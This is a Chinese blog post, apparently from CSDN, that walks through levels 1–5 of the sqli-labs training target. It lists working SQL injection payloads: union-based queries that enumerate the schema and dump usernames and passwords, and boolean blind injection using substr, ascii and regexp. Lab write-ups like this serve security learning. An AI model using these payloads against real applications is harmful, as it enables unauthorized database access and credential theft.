Sqli-labs靶场1-5

最新推荐文章于 2025-07-09 19:03:45 发布
最新推荐文章于 2025-07-09 19:03:45 发布
阅读量482 收藏 1
点赞数
CC 4.0 BY-SA版权
分类专栏： 网络安全技术学习 文章标签： sql web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/orchid_sea/article/details/125330939
本文详细介绍了SQL注入攻击的各种类型，包括单引号、数字、括号等注入方式，通过实例展示了如何判断注入点、字段数、显示位，并演示了爆库、爆表、爆字段名及内容的过程。同时，提到了针对不同类型的SQL注入的防御策略，如使用最新PHP版本、SQL参数化查询等。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

流程

  1. 判断注入点和注入类型
  2. 判断字段个数
  3. 判断显示位
  4. 爆库
  5. 爆表
  6. 爆字段名
  7. 爆内容

配置注意事项

使用sqli-labs本地靶场，配置本地靶场需要注意的问题：

  1. 数据库配置文件db-creds.inc
    在这里插入图片描述在这里插入图片描述

  2. php版本由于该靶场比较古早，所以php的版本要选择更低一点的，比如5.3.29
    在这里插入图片描述

Less-1 单引号注入

1. 判断注入点和注入类型
单引号报错 ?id=-1' --+
2. 查字段个数
?id=1' order by 4--+
3. 判断显示位
?id=-1' union select 1,2,3 --+
4. 查库
-1' union select 1,2,database()--+
5. 查表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
6. 查列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
7. 查内容
-1' union select 1,group_concat(username),3 from security.users --+
-1' union select 1,group_concat(username),group_concat(password) from users --+
判断类型

在这里插入图片描述单引号回显正常，查询语句闭合，存在注入点

在这里插入图片描述在这里插入图片描述
1’ and 1=1回显正常，1’ and 1=2回显错误

判断字段

在这里插入图片描述在这里插入图片描述order by 3正常，order by 4报错，则存在三个字段

判断显示位

在这里插入图片描述

爆库名

在这里插入图片描述爆出库名：security

爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述爆出表名：emails,referers,uagents,users
选择一个表，users

爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

在这里插入图片描述

爆字段
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

在这里插入图片描述

Less-2 数字注入

判断类型

在这里插入图片描述在这里插入图片描述and 1=1正常，and 1=2 报错，判断是数字型注入

判断字段

在这里插入图片描述在这里插入图片描述order by判断字段个数，3个字段

判断显示位

在这里插入图片描述

爆库

在这里插入图片描述

爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述

爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

在这里插入图片描述

爆字段
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+

在这里插入图片描述

Less-3 单引号+括号 注入

判断类型

在这里插入图片描述发现 ') 可以闭合
在这里插入图片描述

ps:
在这里插入图片描述在实验过程中，发现双引号也可以闭合，但是执行后续命令失败，应该是语句判别时不太对。
在这里插入图片描述
查看对应的sql语句能明显知道这一关是 ') 去闭合。

判断字段

在这里插入图片描述在这里插入图片描述字段数为3

判断显示位

在这里插入图片描述

爆库

在这里插入图片描述

爆表
Less-3/?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述

爆列
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

在这里插入图片描述

爆字段

在这里插入图片描述

Less-4 双引号+括号 注入

判断类型

在这里插入图片描述双引号+括号可以闭合
在这里插入图片描述
分析源代码：
在这里插入图片描述
对输入的 id 添加了双引号，执行语句里又添加了括号

判断字段

在这里插入图片描述在这里插入图片描述

判断显示位

在这里插入图片描述

爆库

在这里插入图片描述

爆表
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述

爆列
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

在这里插入图片描述

爆字段
Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+

在这里插入图片描述

Less-5

判断类型

在这里插入图片描述

在这里插入图片描述单引号闭合

判断字段数

在这里插入图片描述在这里插入图片描述

判断显示位

在这里插入图片描述没有显示位，尝试报错注入或者盲注

第五关参考：https://blog.csdn.net/Fly_hps/article/details/80247032

盲注—基于布尔

测试数据库版本：
/Less-5/?id=1' and left(version(),1)=5 --+
查看一下version（），数据库的版本号为5.3，这里的这句话的意思是看看版本号的第一位是否是5，很明显返回的结果是正确的。

在这里插入图片描述

判断数据库名字的长度
测试数据库长度
Less-5/?id=1' and length(database())=8--+

在这里插入图片描述

爆破库名 left(a,b)
测试库名的第一位
Less-5/?id=1' and left(database(),1)>'a'--+
Less-5/?id=1' and left(database(),1)='s'--+
测试库名的前两位
Less-5/?id=1' and left(database(),2)='se'--+
...

在这里插入图片描述在这里插入图片描述在这里插入图片描述经过测试大于、小于之后，我们最后可以用 等于 确定数据库的第一位是 s
ps：
在我们不知情的情况下，我们可以使用二分法来提高注入效率

在这里插入图片描述之后的判断都是一样的，依次猜解就好，只需要修改left（a,b）中b的位置（该位置决定从哪个位置开始判断测试）。
在这里插入图片描述最终测试出数据库的名字为 security

爆破表 substr（）、ascii（）
获取security数据库的第一个表的第一个字符：
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
可以通过修改substr(str,start,length)中的第二个参数“start”来猜解第一个表的第二个字符的内容。

猜测第二个表的名称，可以通过limit start,length来实现，通过修改start的值，来实现对第二个参数的获取与测试。
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+

第一个表：
在这里插入图片描述
在这里插入图片描述经测试，数据库的第一个表的第一个字符为 e
第二个表：
在这里插入图片描述
经过测试，我们可以确定数据库名称为security，而且数据库中存在user表。

爆列 regexp
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

在这里插入图片描述确定该user表中存在us****的列
在这里插入图片描述确定存在列username

爆字段 ord()、mid()
获取user表中username中第一行的第一个字符的ascii:
/Less-5/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+


cast(username as char)将username转换成char类型，
	注意这里是cast函数(		语法：cast(字段名 as 转换的类型 )		)
ifnull(expr1,expr2)函数的语法为如果 expr1 不是null，ifnull() 返回 expr1，否则它返回 expr2。
0x20是空格的ascii码的十六进制表示。
mid()函数截取字符串一部分，mid(str,start,length)从位置start开始，截取str字符串的length位。
ord()函数同ascii()，将字符转为ascii值

在这里插入图片描述

报错注入
盲注有点痛苦，报错之后空了再来写吧

sqli-labs靶场实战
u011417723的博客
03-08 6431
靶场实战
Sqli-labs靶场搭建（适合新手小白围观）
热门推荐
记录开发和安全学习过程中的点点滴滴
09-12 1万+
本章是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养每日一言真正的有福之人，是经历极大的挫折磨难后，依然屹立不倒的人。一个人能承受的东西越多，他所能得到的馈赠才越多。
sqli-labs靶场通关攻略(个人学习持续更新)
最新发布
Paper_F1nd的博客
07-09 282
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。输入id=1'闭合后报错，推断sql语句是单引号字符型且有括号，所以我们需要闭合单引号且也要考虑括号。尝试单引号闭合，发现正常，再尝试双引号闭合，发现报错，证明该题是双引号字符型。
SQL实践之sqli-labs靶场（持续更新）
m0_62102520的博客
07-08 777
总结1、寻找注入点2、判断闭合方式3、验证漏洞4、判断列数及回显位5、取数据取数据库名根据数据库名，取表名根据数据库名、表名，取列名取具体数据。
sqli-labs靶场分析
RestoreJustice的博客
03-18 3567
这里是 基于WAF的一个错误引起的SQL注入，源代码level 29文件夹里有三个php文件，默认访问这个文件夹的index.php但这个文件是没有接入“WAF”的。在测试符号后面添加and sleep(5) --+，如果成功闭合前面的语句，则会执行sleep(5)，利用延时注入的原理判断闭合方式。来看看第二种格式，第二种格式除了能像第一种格式一样得到数组内元素的值外，还能得到元素的索引值，并保存到$key变量中，如果数组的索引值未经过人工设定，则返回系统默认的设定值。第一个id的值符合规则，WAF放行。
sqli-labs靶场
05-30
"sqli-labs靶场"是一个专门用于学习和测试SQL注入技术的平台，它提供了多种不同类型的SQL注入场景，帮助安全研究人员和开发人员了解并防御这种攻击。 在sqli-labs靶场中，用户可以实践各种SQL注入技巧，如错误注入...
Sqli-labs-maste 靶场的下载， phpStudy 下载
09-13
"Sqli-labs-maste"是一个专门设计用来练习和提高SQL注入技术的靶场环境，它提供了各种不同难度级别的SQL注入漏洞供用户尝试解决，从而帮助学习者深入理解SQL注入的原理和防御技术。 与此同时，"phpStudy"是一个流行...
sqli-labs-master靶场
09-21
sqli-labs-master靶场是一个针对安全研究人员、开发者和网络安全爱好者的实践平台，特别设计用于学习和测试SQL注入攻击技术。SQL注入是一种常见的网络攻击手段，攻击者通过在应用程序的输入字段中注入恶意的SQL代码...
网络安全 - Web 安全靶场 - sqli-labs-php7.zip
10-13
搭建sqli-labs靶场的过程相对简单。首先，用户需要准备一个包含Apache、MySQL和PHP的环境，例如使用wampserver或phpstudy等工具进行快速搭建。然后，将下载的sqli-labs-php7.zip解压到网站的根目录下，例如...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli-labs靶场搭建
XL5L7的博客
05-06 1279
闲了一段时间突然被问到sqli-labs靶场通关没有，想了想决定把靶场搭起来玩一下，间隔时间有点长，忘了怎么搭建，去网上找了教程搭起来了，为了下次不需要去网上找，所以决定自己写一个机器：Windows10源码下载地址：https://codeload.github.com/Audi-1/sqli-labs/zip/master完整安装步骤为：1、安装phpstudy2、搭建sqli-labs网站3、初始化sqli-labs数据库。
SQLi-Labs靶场总结
weixin_43263451的博客
07-30 557
SQLi-Labs靶场总结普通注入1 http://127.0.0.1/sqli-labs/Less-1/?id=1’ union select 1,2,group_concat(username,0x3a,password) from security.users limit 1,1–+ 2http://localhost/sqli/Less-2/?id=-1 union select 1,@@...
sqli-labs训练平台靶场详解！！！！
ytdd66的博客
03-19 9199
下面选取几个具有代表性的关卡，演示几种 SQL 注入漏洞利用方法。
sqli-labs靶场（1-22关）
weixin_51566481的博客
08-16 8103
sqli-labs,sql注入，burpsuit
SQL 注入之 Windows/Docker 环境 SQLi-labs 靶场搭建！
朱雀随云记的博客
04-07 2142
4、打开浏览器，输入“http://windows服务器ip/sqli-labs-master/” ，可以看到如下的界面，点击“Setup/reset Database for labs”，会出现Access denied的提示。3、执行：docker run -dt --name sqli-labs -p 81:80 --rm acgpiano/sqli-labs， 将镜像运行为容器。--name sqli-labs 将容器命名为sqli-labs。acgpiano/sqli-labs 镜像名。
SQL 注入之 WindowsDocker 环境 SQLi-labs 靶场搭建！_sqli-labs docker
logic1001的博客
02-08 1223
SQLi-labs是由印度程序员开发，专门用于练习SQL注入的靶场，其中包含各种注入姿势，并适用于GET和POST等场景。主要包含：基础错误注入、报错注入、盲注、MySQL读写文件、更新查询注入、插入查询注入、Header头部注入、二次注入、绕过WAF、绕过addslashes函数、绕过mysql_real_escape_string函数、堆叠注入。
Sqli-labs靶场记录（1-10）
Bob_Box的博客
04-07 633
前置知识 SQL注入？ 攻击者通过构造恶意的SQL语句，发送到后端解析器，改变了原本SQL语法结构，被正确执行，得到意外结果 常用语法 union ：用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中 group_concat() ：连接字段内容并用逗号分隔开 order by ：对字段(也就是列)内容进行排序 database()：查看当前数据库名 注入常用数据库名及表名 Mysql数据库：information_schema 以及information_schema数据
Sql-labs 靶场搭建及通关
ming20211016的博客
11-07 3477
该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。mysql_real_escape_string函数，宽字节注⼊，符号绕过，联合注⼊。没⽤禁⽤or，and，但过滤了select和union，可以⽤⼤⼩写和重写进⾏绕过。
支持PHP7的sqli-labs靶场介绍
3. sqli-labs靶场：sqli-labs是一个非常流行的在线学习平台，它提供了一个模拟的环境，其中包含了多个练习关卡，每个关卡都有一个或多个SQL注入漏洞等待用户发现和利用。通过逐个解决这些关卡，学习者可以掌握SQL...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值